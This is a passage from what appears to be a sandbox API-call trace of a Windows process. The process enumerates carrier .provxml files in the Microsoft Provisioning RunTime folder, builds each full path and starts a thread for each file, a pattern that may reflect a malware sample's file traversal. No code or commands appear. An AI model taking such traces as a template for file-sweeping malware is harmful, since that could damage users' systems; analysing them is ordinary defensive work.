Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.702] wcscat (in: _Dest=0x33f8d20, _Source="211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\211__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0088.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984 [0088.702] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907cb89c, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907cb89c, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907cb89c, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="212__C~1.PRO")) returned 1 [0088.702] wcscmp (_String1="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.702] wcscmp (_String1="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.702] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x138) returned 0x3421ba8 [0088.702] wcscpy (in: _Dest=0x3421ba8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.702] wcscat (in: _Dest=0x3421ba8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.702] wcscat (in: _Dest=0x3421ba8, _Source="212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\212__Connections_Cellular_TIM (Italy)_i0$(__MVID)@WAP.provxml" [0088.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421ba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0088.703] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="213__C~1.PRO")) returned 1 [0088.703] wcscmp (_String1="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0088.703] wcscmp (_String1="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0088.703] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33e5a30 [0088.703] wcscpy (in: _Dest=0x33e5a30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.703] wcscat (in: _Dest=0x33e5a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.703] wcscat (in: _Dest=0x33e5a30, _Source="213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\213__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0088.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538 [0088.704] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="214__C~1.PRO")) returned 1 [0088.704] wcscmp (_String1="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.704] wcscmp (_String1="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.704] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x3475b08 [0088.704] wcscpy (in: _Dest=0x3475b08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.704] wcscat (in: _Dest=0x3475b08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.704] wcscat (in: _Dest=0x3475b08, _Source="214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\214__Connections_Cellular_Vodafone IT (Italy)_i0$(__MVID)@WAP.provxml" [0088.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0088.705] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="215__C~1.PRO")) returned 1 [0088.705] wcscmp (_String1="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0088.705] wcscmp (_String1="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0088.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x33e5550 [0088.705] wcscpy (in: _Dest=0x33e5550, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.705] wcscat (in: _Dest=0x33e5550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.705] wcscat (in: _Dest=0x33e5550, _Source="215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\215__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0088.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0088.706] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x283, dwReserved0=0x0, dwReserved1=0x0, cFileName="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", cAlternateFileName="216__C~1.PRO")) returned 1 [0088.706] wcscmp (_String1="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.706] wcscmp (_String1="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.706] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x3421a60 [0088.706] wcscpy (in: _Dest=0x3421a60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.706] wcscat (in: _Dest=0x3421a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.706] wcscat (in: _Dest=0x3421a60, _Source="216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\216__Connections_Cellular_Wind (Italy)_i0$(__MVID)@WAP.provxml" [0088.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0088.707] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x907f1b04, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x907f1b04, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x907f1b04, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", cAlternateFileName="217__C~1.PRO")) returned 1 [0088.707] wcscmp (_String1="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.707] wcscmp (_String1="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x3421e38 [0088.707] wcscpy (in: _Dest=0x3421e38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.707] wcscat (in: _Dest=0x3421e38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.707] wcscat (in: _Dest=0x3421e38, _Source="217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\217__Connections_Cellular_Wind (Italy)_i1$(__MVID)@WAP.provxml" [0088.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421e38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0088.707] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x313, dwReserved0=0x0, dwReserved1=0x0, cFileName="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="218__C~1.PRO")) returned 1 [0088.707] wcscmp (_String1="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.707] wcscmp (_String1="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3421f80 [0088.707] wcscpy (in: _Dest=0x3421f80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.708] wcscat (in: _Dest=0x3421f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.708] wcscat (in: _Dest=0x3421f80, _Source="218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\218__Connections_Cellular_Claro (Jamaica)_i0$(__MVID)@WAP.provxml" [0088.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0088.708] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", cAlternateFileName="219__C~1.PRO")) returned 1 [0088.708] wcscmp (_String1="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.708] wcscmp (_String1="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x34213f8 [0088.708] wcscpy (in: _Dest=0x34213f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.708] wcscat (in: _Dest=0x34213f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.708] wcscat (in: _Dest=0x34213f8, _Source="219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\219__Connections_Cellular_Claro (Jamaica)_i1$(__MVID)@WAP.provxml" [0088.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34213f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0088.709] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="21__CO~1.PRO")) returned 1 [0088.709] wcscmp (_String1="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.709] wcscmp (_String1="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.709] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x3475858 [0088.709] wcscpy (in: _Dest=0x3475858, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.709] wcscat (in: _Dest=0x3475858, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.709] wcscat (in: _Dest=0x3475858, _Source="21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\21__Connections_Cellular_Telstra (Australia)_i1$(__MVID)@WAP.provxml" [0088.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3475858, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0088.710] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="220__C~1.PRO")) returned 1 [0088.710] wcscmp (_String1="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.710] wcscmp (_String1="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x15a) returned 0x55db5a0 [0088.710] wcscpy (in: _Dest=0x55db5a0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.710] wcscat (in: _Dest=0x55db5a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.710] wcscat (in: _Dest=0x55db5a0, _Source="220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\220__Connections_Cellular_Cable and Wireless (Jamaica)_i0$(__MVID)@WAP.provxml" [0088.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55db5a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0088.711] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90817d73, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90817d73, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90817d73, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x312, dwReserved0=0x0, dwReserved1=0x0, cFileName="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", cAlternateFileName="221__C~1.PRO")) returned 1 [0088.711] wcscmp (_String1="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.711] wcscmp (_String1="221__Connections_Cellular_DigiCel (Jamaica)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.711] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x144) returned 0x34759b0 [0088.711] wcscpy (in: _Dest=0x34759b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.711] wcscat (in: _Dest=0x34759b0, _Source="\\" | out: _Dest="C:\\Users\\All 